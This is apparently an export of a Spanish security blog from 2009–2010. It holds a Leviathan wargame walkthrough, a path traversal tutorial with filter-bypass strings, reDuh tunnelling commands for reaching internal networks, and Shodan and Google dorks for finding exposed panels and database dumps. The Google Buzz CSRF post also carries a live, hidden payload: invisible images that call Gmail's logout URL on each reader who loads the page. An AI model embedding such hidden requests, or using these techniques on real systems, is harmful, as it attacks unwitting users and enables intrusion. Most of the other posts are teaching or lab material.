bueno, vamos paso a paso. Éste es "Leviathan":<br /><br /></div><div><span class="Apple-style-span" style="color: rgb(101, 114, 134);font-family:verdana, arial, helvetica;font-size:medium;"><table style="text-align: justify;" border="0" cellpadding="1" cellspacing="1" width="480"><tbody><tr><td class="newshead" colspan="2" style="font-size: 10px; font-weight: bold; color: rgb(69, 82, 102); font-family: verdana,arial,helvetica;">Access:</td></tr><tr><td class="body" style="font-size: 10px; color: rgb(69, 82, 102); font-family: verdana,arial,helvetica;" width="100">ssh:</td><td class="body" style="font-size: 10px; color: rgb(69, 82, 102); font-family: verdana,arial,helvetica;">leviathan.intruded.net</td></tr><tr><td class="body" style="font-size: 10px; color: rgb(69, 82, 102); font-family: verdana,arial,helvetica;" width="100">port:</td><td class="body" style="font-size: 10px; color: rgb(69, 82, 102); font-family: verdana,arial,helvetica;">10101</td></tr><tr><td class="body" style="font-size: 10px; color: rgb(69, 82, 102); font-family: verdana,arial,helvetica;" width="100">username:</td><td class="body" style="font-size: 10px; color: rgb(69, 82, 102); font-family: verdana,arial,helvetica;">level1</td></tr><tr><td class="body" style="font-size: 10px; color: rgb(69, 82, 102); font-family: verdana,arial,helvetica;" width="100">password:</td><td class="body" style="font-size: 10px; color: rgb(69, 82, 102); font-family: verdana,arial,helvetica;">leviathan</td></tr></tbody></table></span></div><div style="text-align: justify;"><br />Consiste en que dado un usuario, tenemos que ir escalando privilegios hasta el usuario level8, así que una vez nos conectamos, podemos ver un mensaje de bienvenida. En éste, se nos comenta que la mayoría de los niveles, los podemos encontrar en /wargame, así como que /tmp es "writeable". Pero si probamos, vemos que no es "readable", al menos no por nosotros.<br /><br /><div style="text-align: center;"> </div></div><div style="text-align: justify;"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEV04qMkjpH4oR3AMOfNsxWUUFnzn7HDyH9ry-7fRXrotqUGVzc3S6z_i2MGk0bs-39WAxL4MzJxz9PBmhH1qFWQ_RIOfcWTS_bLU9_2Z1k8F8lBmXgyQmMrwNfWF7re9MAvTn4ThvdN8S/s320/a.jpg" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 180px;" alt="" id="BLOGGER_PHOTO_ID_5500369212369560050" border="0" /><div style="text-align: center;"> </div> </div><div style="text-align: justify;"><div style="text-align: justify;"> </div></div><div style="text-align: justify;">Si se accede a /wargame podemos observar que existen unos cuantos archivos con el bit de <a href="http://mmc.geofisica.unam.mx/LuCAS/Manuales-LuCAS/doc-unixsec/unixsec-html/node56.html">SUID</a> actio, por lo que pueden ejecutarse con permisos de otros usuarios "mayores".<br /><br /></div><div style="text-align: justify;"><div style="text-align: justify;"> <div style="text-align: justify;"> <div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqeBrnelQ1YgWsAR08-hoqLMml-XUy_spzaLO55PMwyClCrMP52hhcZtGlapz6L1ys6jdL24vaEC3Qp-cByPHylNRLUIC3LhjfPBIqrGldymVu5JrgWZzUM4O7EWCARlXlvxfbJ75O5wtN/s1600/b.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 104px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqeBrnelQ1YgWsAR08-hoqLMml-XUy_spzaLO55PMwyClCrMP52hhcZtGlapz6L1ys6jdL24vaEC3Qp-cByPHylNRLUIC3LhjfPBIqrGldymVu5JrgWZzUM4O7EWCARlXlvxfbJ75O5wtN/s320/b.jpg" alt="" id="BLOGGER_PHOTO_ID_5500369461358088578" border="0" /></a></div> </div> </div></div><div style="text-align: justify;"><div style="text-align: center;"> </div><br /><span style="font-weight: bold;font-size:130%;">Level 1:</span></div><div style="text-align: justify;">En el caso de level1, no existe archivo en /wargame, así que hay que mirar en su propio home. Se puede ver que hay un archivo .password que contiene el password del nivel 1, pero esta no nos sirve, puesto que ya la tenemos. </div><div style="text-align: justify;">Observamos que existe un directorio .backup, que dentro tiene un archivo bookmarks.html. Podemos abrirlo y mirar dentro a ver si nos puede dar alguna pista de la contraseña para el nivel 2, aunque haciendo una simple búsqueda de palabras podemos evitar leerlo entero (1400 lineas no es para menos!):P<div style="text-align: center;"> </div><br /><br /></div><div style="text-align: justify; font-style: italic;">grep intruded bookmarks.html</div><div style="text-align: justify;">o </div><div style="text-align: justify;"><span style="font-style: italic;">grep pass bookmarks.html</span><br /><br /><br /></div><div style="text-align: justify;">El resultado es una url donde si accedemos podemos ver la contraseña para el siguiente nivel.</div><br /><div style="text-align: justify;">El siguiente paso:</div><div style="font-style: italic;"><div style="text-align: justify;">level1@leviathan:~/.backup$ su level2</div><div style="text-align: justify;">Password:</div><div style="text-align: justify;">level2@leviathan:/home/level1/.backup$</div></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><span class="Apple-style-span" style="font-size:large;"><b>Level 2:</b></span></div><div style="text-align: justify;">Como vemos, estamos como usuario "level2", en el home de level1. En este caso si que existe ejecutable en /wargame, así que.. vamos para allí. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Podemos ver, que el archivo que podemos ejecutar, y que nos dará privilegios de "level3" es el ejecutable "check".<br /><br /></div><div><div style="text-align: justify; font-style: italic;">level2@leviathan:/wargame$ ./check</div><div style="text-align: justify; font-style: italic;">password: prueba</div><div style="text-align: justify;"><span style="font-style: italic;">Wrong password, Good Bye ...</span><br /><br /></div><div style="text-align: justify;"> </div></div><div style="text-align: justify;">Por lo que parece, está comparando la contraseña que nosotros le proporcionamos de alguna manera, y en caso de que sea válida nos dará acceso al siguiente nivel. </div><div style="text-align: justify;">Así que, utilizaremos "ltrace" para ver las llamadas que hace y ver si podemos extraer algo de información que nos llegue a mostrar como obtener la contraseña. </div><div style="text-align: justify;"><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtAfrndZa6QRCkJNyns6wy3Y9w3JT9qKaqT1q8NKhJl0CkjesBMxxx8h2-zrE7IOaL6Q34FPioG7MDcX3OfStDQ_9qpytNCdgFRCbf7W8s7z-Clmp5mjhCPn3gT-tzZ4KaZTO5yE1q8iXi/s1600/e.jpg"><br /></a></div></div><div style="text-align: justify;"><div style="text-align: justify;"> <div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3w00uT_gsVD15u2k4GJBPTlYCTWqLJ4revh1i3UoC0bmqGdaeZcWN0yAu-Pv_nzDvs_CGJGHtJS-pZxJNC4hwGWvXFWROtFclFA6TGc_Qj8h-f1AZfJyj7S6HrGZfE8BlEeY8fu-cUlvw/s1600/e.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 140px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3w00uT_gsVD15u2k4GJBPTlYCTWqLJ4revh1i3UoC0bmqGdaeZcWN0yAu-Pv_nzDvs_CGJGHtJS-pZxJNC4hwGWvXFWROtFclFA6TGc_Qj8h-f1AZfJyj7S6HrGZfE8BlEeY8fu-cUlvw/s400/e.jpg" alt="" id="BLOGGER_PHOTO_ID_5500371404580522898" border="0" /></a></div> </div></div><div style="text-align: justify;">Como se puede observar la imagen, hemos introducido como contraseña "prueba", y vemos que luego realiza una comparación con strcmp, para ver si las 3 primeras letras de nuestra contraseña, son "sex".</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Así que en caso de introducir alguna palabra que empiece por sex, ya ejecutamos el /bin/sh que nos proporciona acceso a level3:</div><div style="text-align: justify;"><br /></div><div style="font-style: italic;"><div style="text-align: justify;">level2@leviathan:/wargame$ ./check</div><div style="text-align: justify;">password: sex</div><div style="text-align: justify;">sh-3.1$ id</div><div style="text-align: justify;">uid=1001(level2) gid=1001(level2) euid=1002(level3) groups=1001(level2)</div><div style="text-align: justify;">sh-3.1$</div></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><span class="Apple-style-span" style="color:#FF0000;"><b>Actualización:</b></span></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Faltaba una cosa, acceder al home de level3 y ver su contraseña para poder hacer el "su" ;)</div><div style="text-align: justify;"><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><i>sh-3.1$ cd /home/level3</i></div><div style="text-align: justify;"><i>sh-3.1$ ls</i></div><div style="text-align: justify;"><i>sh-3.1$ ls -lah</i></div><div style="text-align: justify;"><i>total 24K</i></div><div style="text-align: justify;"><i>drwx------ 2 level3 level3 4.0K 2008-03-26 02:08 .</i></div><div style="text-align: justify;"><i>drwxr-xr-x 10 root root 4.0K 2008-03-26 01:55 ..</i></div><div style="text-align: justify;"><i>-rw-r--r-- 1 root root 0 2008-03-26 02:08 .bash_history</i></div><div style="text-align: justify;"><i>-rw-r--r-- 1 root root 220 2008-03-26 01:53 .bash_logout</i></div><div style="text-align: justify;"><i>-rw-r--r-- 1 root root 414 2008-03-26 01:53 .bash_profile</i></div><div style="text-align: justify;"><i>-rw-r--r-- 1 root root 2.2K 2008-03-26 01:53 .bashrc</i></div><div style="text-align: justify;"><i>-rw-r--r-- 1 root root 9 2008-03-26 01:54 .passwd</i></div><div style="text-align: justify;"><i>sh-3.1$ cat .passwd</i></div><div><br /></div></div><div style="text-align: justify;">Eso sí, la contraseña no la pongo!</div><div style="text-align: justify;"><br /></div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-1716606928642759722010-06-28T05:09:00.001-07:002010-06-28T05:23:33.944-07:00Mobile Tools<div style="text-align: justify;">Tengo varios temas sobre los que escribir.. pero llevo unos días recibiendo varios feeds sobre temas relacionados con los móviles, y bueno, aunque no haya trasteado yo demasiado con ellos, voy a poner un par de cosas de las que me han parecido más interesantes.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">En primer lugar, como realizar un análisis forense de un dispositivo móvil mediante la tool: <a href="http://www.oxygen-forensic.com/en/">http://www.oxygen-forensic.com/en/</a></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Y aquí los enlaces:</div><div style="text-align: justify;"><a href="http://www.dragonjar.org/analisis-forense-en-telefonos-celulares-parte-1.xhtml">http://www.dragonjar.org/analisis-forense-en-telefonos-celulares-parte-1.xhtml</a></div><div style="text-align: justify;"><a href="http://www.dragonjar.org/analisis-forense-en-telefonos-celulares-parte-2.xhtml">http://www.dragonjar.org/analisis-forense-en-telefonos-celulares-parte-2.xhtml</a></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">En segundo lugar, una herramienta para realizar test de intrusión mediante bluetooth:</div><div style="text-align: justify;"><a href="http://www.hackfromacave.com/pwntooth.html">http://www.hackfromacave.com/pwntooth.html</a></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Y por último, una versión de Metasploit para dispositivos móviles.. </div><div style="text-align: justify;"><a href="http://www.neopwn.com/">http://www.neopwn.com/</a></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">En cuanto pueda probar como funcionan ya lo explicaré :D... aunque no tengo demasiado tiempo ahora.. </div><div><br /></div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-89422702945831053202010-06-19T14:18:00.000-07:002010-06-19T15:11:03.610-07:00varios temas de clickjacking<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS2UkBBniMPiThKJTKOxEo2Mv9pTjhRFrMPXrKfI31s3DyuYRrCttLyRkhxjZtSNIUhHR7Yn9nYcC7QkoqEnyWANHZ1wwjW-Y_JaY0gCRUNHW1Oo76tFLRmLsTzZHxR8zt-DJ3z5NbYCe0/s1600/1276072_46716976.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 226px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjS2UkBBniMPiThKJTKOxEo2Mv9pTjhRFrMPXrKfI31s3DyuYRrCttLyRkhxjZtSNIUhHR7Yn9nYcC7QkoqEnyWANHZ1wwjW-Y_JaY0gCRUNHW1Oo76tFLRmLsTzZHxR8zt-DJ3z5NbYCe0/s320/1276072_46716976.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5484610611652672658" /></a><br />Ya que llevo varios días sin escribir, voy a hacer referencia a un post que he escribí hace unos días..<div><br /></div><div>El caso es modificar la funcionalidad que hasta ahora le habíamos dado a un cross-site scripting, para convertirlo en un ataque de clickjacking.<br /><div><br /></div><div>clickjacking:</div><div><a href="http://blog.s21sec.com/2009/02/clickjacking-exposed.html">http://blog.s21sec.com/2009/02/clickjacking-exposed.html</a></div><div><br /></div><div>xss to clickjacking:</div><div><a href="http://blog.s21sec.com/2010/06/utilizando-cross-site-scripting-para.html">http://blog.s21sec.com/2010/06/utilizando-cross-site-scripting-para.html</a></div></div><div><br /></div><div><br /></div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-56427388179604876722010-04-22T03:51:00.000-07:002010-04-22T06:32:16.180-07:00McAfee rules!<div style="text-align: justify;"><div style="text-align: justify;">En los dos últimos días han aparecido una serie de problemas por causa de McAfee. Sí, por causa de McAfee, no por un virus y que McAfee haya solucionado.. sinó porque al actualizar sus antivirus, uno de los archivos de firmas contiene un falso positivo, el qual comienza a eliminar servicios de la máquina hasta que la deja prácticamente frita.<br />El archivo de firmas es el que se refiere al 5958.dat dándo un falso positivo para <strong>w32/wecorl.a </strong>y afectando al archivo svchost.exe dejándolo en blanco o bien borrándolo, por lo que no se puede ejecutar ningún servicio en la máquina.<br /><br />A continuación dejo un enlace de como solucionar el problema:<br /></div><br />http://vil.nai.com/vil/5958_false.htm<br /><br /></div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-4304351665330815892010-03-27T05:27:00.000-07:002010-03-27T06:16:10.433-07:00Path traversal an other issues<div style="text-align: justify;">Hoy voy a hablar, de saltarse ciertas restricciones mediante la codificiación de caracteres, mediante la manipulación de la entrada así como de la própia vulnerabilidad en sí: "Path traversal".</div><div><br /></div><div><div style="text-align: justify; ">En primer lugar, comentar que en algunas aplicaciones (sean web o no), disponen de una vulnerabilidad que permite acceder a recursos en los que en un principio no se les permite el acceso. Esto se debe a que se hace una referencia hacía un objeto:</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">http://unawebcualquiera.com/index.php?file=info.txt</div><div style="text-align: justify; "><br /></div><div><div style="text-align: justify; ">En esta petición, se está haciendo referencia al archivo info.txt incluyendo su contenido en la aplicación. Ahora bien, que es lo que pasaría si en lugar del archivo "info.txt" quisiesemos que nos incluyese el archivo "/etc/passwd". Para ello, deberíamos hacer referencia a este archivo, por lo que debemos utilizar los "../" para escalar directorios:</div></div></div><div><br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgffLczLIpzdzI1BIrj0aGTlYxwqOQw-tnAh5FVU1ncHIunQF49N71QH9gaVylQUZ3U999_Vo8Tns2No5z18YEieoAdGDdi_iMtL4Cx9MsL_W8JZdzR-Q1YA7pto2N0W8fMR2yTKjbAoRYI/s1600/pathtraersal.jpg.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 150px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgffLczLIpzdzI1BIrj0aGTlYxwqOQw-tnAh5FVU1ncHIunQF49N71QH9gaVylQUZ3U999_Vo8Tns2No5z18YEieoAdGDdi_iMtL4Cx9MsL_W8JZdzR-Q1YA7pto2N0W8fMR2yTKjbAoRYI/s320/pathtraersal.jpg.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5453297837602594914" /></a><br /><div style="text-align: justify;">En esta imagen se puede ver el contenido del archivo "etc/passwd" y como hacemos referencia a él mediante los ../. </div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Para solucionar este problema, deberíamos evitar que se pudiese introducir esa cadena. Si tan solo se elimina "../" es posible saltarse esta restricción, ya que si se realiza una cadena que al eliminar los "../" quede de la misma forma.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">"..././..././..././"</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Otra de las formas, de evitar esta posible restricción, es mediante el uso de la codificación de carácteres, en algunos casos, según como se trate los carácteres se puede realizar mediante: "%2e%2e/"</div><div style="text-align: justify;"><br /></div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-32100275361328381942010-02-13T05:04:00.000-08:002010-03-27T05:20:53.920-07:00Primeras vulnerabilidades en Buzz<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.larazon.es/images/uploads/image/filename/172239/c617x266_buzz1002.jpg?1265785772"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 617px; height: 266px;" src="http://www.larazon.es/images/uploads/image/filename/172239/c617x266_buzz1002.jpg?1265785772" border="0" alt="" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.larazon.es/images/uploads/image/filename/172239/c617x266_buzz1002.jpg?1265785772"><br /><div style="text-align: center;"><span class="Apple-style-span" style="color:#000000;"><br /></span></div></a><div><div style="text-align: left;"><br /></div><div style="text-align: justify; ">Hace un par de días, se me activó una nueva pestaña en gmail, en el texto de ésta, aparece la palabra "Buzz". Al parecer, es un nuevo servicio de google, que intenta emular una especie twitter que sea utilizado desde gmail, donde tus contactos puedan ver que públicas, y hacer comentarios al respetcto.</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">Por lo que he visto, me gusta algo más que twitter por el hecho de que es más fácil seguir el hilo de una conversación.... pero el caso.. es que al ser un servicio nuevo integrado a Gmail, puede aportar nuevas vulnerabilidades al conocido gestor de correo.</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">He leído esta mañana, que es posible realizar un ataque de CSRF (Cross-site request forgery) a gmail. Este ataque se basa en que un usuario realice una petición hacia un sitio web (en este caso, gmail) sin que éste tenga conocimiento de ello.</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">Una prueba es que al cargar la siguiente imagen, si teníais el gmail abierto, se os habrá cerrado la sessión.</div><div style="text-align: justify; "><br /></div><div style="text-align: justify; ">El siguiente test.. va a ser utilizar este tipo de ataques para publicar algún texto en Buzz. Si lo consigo, ya os enteraréis!!!</div></div><div><br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.thetechherald.com/media/images/200840/ServerSkulls_1.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 600px; height: 400px;" src="http://www.thetechherald.com/media/images/200840/ServerSkulls_1.jpg" border="0" alt="" /></a><br /><div style="text-align: justify;">Fuente:</div><div><a href="http://kristian-hermansen.blogspot.com/2010/02/google-buzz-csrf-test.html">http://kristian-hermansen.blogspot.com/2010/02/google-buzz-csrf-test.html</a></div><div><br /></div><div style="opacity:0"><br /><img src="https://mail.google.com/mail/?logout" style="width:0px;height 0px; margin: 0px" /><img src="http://mail.google.com/mail/?logout" style="width:0px;height 0px; margin: 0px" /><br /></div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-17302419207468549492009-12-01T12:53:00.000-08:002010-02-13T05:37:45.104-08:00reDuh: TCP redirection over HTTP<div style="text-align: justify;">Hay ocasiones en las que al hacer una auditoría, uno se encuentra con que tiene acceso a un servidor a través de la web, pero no a todos sus servicios y mucho menos al resto de equipos de la red interna por encontrarse tras un firewall.</div><div style="text-align: justify;"><br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQhjP3sjCtiEsqneiQOW8hhccH8Maqs6_63AsQNGGq9v3ibHCGZ9Il-ox-FaBppQExSwDaoamxrEp8d5v3R2fIcr8NJd3lehRdy-1hw19dNRYPZAsbaBm1L7Rc9yCjG8l1DxHDf_E9OZXQ/s1600-h/net.png"><img style="text-align: justify;margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; display: block; cursor: pointer; width: 320px; height: 204px; " src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiQhjP3sjCtiEsqneiQOW8hhccH8Maqs6_63AsQNGGq9v3ibHCGZ9Il-ox-FaBppQExSwDaoamxrEp8d5v3R2fIcr8NJd3lehRdy-1hw19dNRYPZAsbaBm1L7Rc9yCjG8l1DxHDf_E9OZXQ/s320/net.png" alt="" id="BLOGGER_PHOTO_ID_5411893223214307138" border="0" /></a><div style="text-align: justify;"><br /></div><div style="text-align: justify;">En este caso, y si tenemos la posibilidad de subir un archivo al servidor (en otra ocasión hablaré de esto) se puede subir un archivo "servidor" que hará la redirección.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><a href="http://www.sensepost.com/research/reDuh/">http://www.sensepost.com/research/reDuh/</a></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Este pequeño servidor queda a la espera de que comencemos una conexión. Por lo que utilizando el cliente deveremos realizar una petición de conexión.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">java -jar reDuh http://objective-server/uploads/reduh.php 80</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">De esta manera, se crea una conexión, entre nuestro cliente y el archivo subido al servidor objetivo. Este proceso creado, abre un puerto a la escucha en nuestro equipo, para que nosotros nos conectemos (por defecto el 1010).</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfqymbFZPUckoxQrzEO3M9g4f5WsFMbprIyUjGPxfwi-tbzMuYI493z7dm6K8LwNGND8HhjT65yjciLr7rgf7JaYlnEeRFWF16YBonTm0alNXDoDerB6hEXoLLzwwyxlIoP2gQw231ipzP/s1600-h/ready2.png"><img style="text-align: justify;margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; display: block; cursor: pointer; width: 320px; height: 230px; " src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfqymbFZPUckoxQrzEO3M9g4f5WsFMbprIyUjGPxfwi-tbzMuYI493z7dm6K8LwNGND8HhjT65yjciLr7rgf7JaYlnEeRFWF16YBonTm0alNXDoDerB6hEXoLLzwwyxlIoP2gQw231ipzP/s320/ready2.png" alt="" id="BLOGGER_PHOTO_ID_5411893410894521666" border="0" /></a><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Por lo que haciendo...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">telnet 127.0.0.1 1010</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">tendremos una consola con algunas opciones:</div><div style="text-align: justify;">[createTunnel]</div><div style="text-align: justify;">[usage]</div><div style="text-align: justify;">[killReDuh]</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Entoces, si utilizamos el comando "[createTunnel]" estaremos realizando una redirección del puerto de un servidor accesible desde el servidor-objetivo a través del puerto http por el que nos hemos conectado al servidor reDuh.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">[createTunnel]2906:IPACCESSIBLESERVER:PORTTOREDIRECT</div><div style="text-align: justify;"><br /></div><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcj_eWnXaZbeHekpnrpwZ-NvxMl1Iov0pbbJnL1wnYcMwLQI1VZZnfOOEH6cLPItKiGGQF6zkfntPHzvkRQiXN3bmtSD_NnHbEw8kAs-rrnLzOEDCWUXnAowlKW0JaojumaPT_D6hFU1El/s1600-h/go.png"><img style="text-align: justify;margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; display: block; cursor: pointer; width: 320px; height: 217px; " src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcj_eWnXaZbeHekpnrpwZ-NvxMl1Iov0pbbJnL1wnYcMwLQI1VZZnfOOEH6cLPItKiGGQF6zkfntPHzvkRQiXN3bmtSD_NnHbEw8kAs-rrnLzOEDCWUXnAowlKW0JaojumaPT_D6hFU1El/s320/go.png" alt="" id="BLOGGER_PHOTO_ID_5411893797240025458" border="0" /></a><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">De esta forma, podremos hacer que si solo es accesible un puerto http de un servidor, a través de él, acceder al resto de su red interna, de los puertos de DNS, de los puertos NETBIOS, SSH, ORACLE, MySQL...</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Por lo que el paso siguiente es conecarse a nuestra máquina al puerto en el que hemos creado el tunnel.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">por ejemplo:</div><div style="text-align: justify;">mysql -h 127.0.0.1 -p 3306</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">otra buena idea es lanzar metasploit contra este puerto y de esta manera lanzarlo hacia la máquina de la red interna objetivo.</div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com0tag:blogger.com,1999:blog-7591363057015640109.post-82061765917394367192009-12-01T12:09:00.000-08:002010-03-27T06:35:46.650-07:00Primera entrada!<div style="text-align: justify;">Hoy empiezo con el blog, así que voy a intentar hacer algo que sea interesante, y probar de escribir las cosas tanto en castellano como en inglés..</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Hay muchas cosas por las que se poría empezar a hablar,pero creo que la más interesante es la de saber por donde empezar a realizar una intrusión.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Un atacante, en muchas ocasiones, no tiene un objetivo fijo al que realizar una intrusión tan solo busca una o varias máquinas que le puedan servir para futuros ataques, para el envio de spam, para propagar troyanos y virus...</div><div style="text-align: justify;">Existen diversos sitios web, que facilitan ese trabajo a personal malintencionado.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Podemos empezar por páginas donde encontrar vulnerabilidades y documentación, para realizar despues una búsqueda de equipos afectados y realizar de forma más fácil una intrusión.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><a href="http://www.milw0rm.com/" target="_blank">http://www.milw0rm.com</a></div><div style="text-align: justify;">una página con gran cantidad de exploits y documentos útiles, aunque últimamente un poco desactualizada.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;"><a href="http://www.exploit-db.com/" target="_blank">http://www.exploit-db.com</a></div><div style="text-align: justify;">Página que además de contener exploits, proporciona en algunos casos el software afectado para que se puedan realizar pruebas, podría ser la sucesora de milw0rm. Esta mantenida por los creadores de back-track.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Una vez que un atacante sabe que vulnerabilidad desea buscar, o si lo que desea buscar es un panel de control, un equipo específico, dispone de otras aplicaciones que le pueden proporcionar esta informacion.</div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">Por ejemplo, existe esta aplicación:</div><div style="text-align: justify;"><a href="http://shodan.surtri.com/" target="_blank">http://shodan.surtri.com</a></div><div style="text-align: justify;">que dispone de una gran cantidad de equipos indexados con la posibilidad de afinar la búsqueda por puertos, servicios...</div><div style="text-align: justify;"><a href="http://shodan.surtri.com/?q=admin+port%3A21" target="_blank">http://shodan.surtri.com/?q=<wbr>admin+port%3A21</a></div><div style="text-align: justify;"><a href="http://shodan.surtri.com/?q=phpmyadmin" target="_blank">http://shodan.surtri.com/?q=<wbr>phpmyadmin</a></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">por otro lado, también es posible buscar a través de <a href="http://www.google.com/" target="_blank">www.google.com</a> para encontrar aplicaciones o servidores a los que les puede afectar esa vulnerabilidad que deseamos explotar, o bien mostrarnos información.</div><div style="text-align: justify;">Por ejemplo, si deseamos buscar listados de directorios "/admin":</div><div style="text-align: justify;"><a href="http://www.google.com/">intitle:"index of /admin" -txt</a></div><div style="text-align: justify;">o por ejemplo.. en lugar de tener que buscar acceso a una base de datos.. que tal si buscamos directamente un dump de la base de datos entera?</div><div style="text-align: justify;"><a href="http://www.google.com/">inurl:dump filetype:sql</a></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">y bueno.. mucho más que se puede extraer de aquí: (de la google hacking database)</div><div style="text-align: justify;"><a href="http://johnny.ihackstuff.com/ghdb/">http://johnny.ihackstuff.com/ghdb/</a></div><div style="text-align: justify;"><br /></div><div style="text-align: justify;">y hasta aquí llegamos para ir abriendo boca ^^</div>zprianhttp://www.blogger.com/profile/09173230018991760262noreply@blogger.com1